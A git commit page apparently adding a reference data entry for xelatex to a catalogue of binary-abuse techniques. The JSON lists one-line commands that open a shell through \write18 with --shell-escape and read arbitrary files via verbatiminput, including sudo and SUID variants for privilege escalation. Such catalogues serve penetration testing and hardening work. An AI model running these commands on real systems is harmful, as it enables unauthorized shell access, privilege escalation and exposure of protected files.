add data source for xelatex

master
Mr. Robot 3 years ago committed by GitHub
parent e2b1e4b24a
commit 9048a2a6d5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,29 @@
{
"functions": {
"shell": [
{
"code": "xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"file-read": [
{
"description": "The read file will be part of the output.",
"code": "xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
}
],
"sudo": [
{
"description": "The read file will be part of the output.",
"code": "sudo xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
},
{
"code": "sudo xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"limited-suid": [
{
"code": "./xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
]
}
}
Loading…
Cancel
Save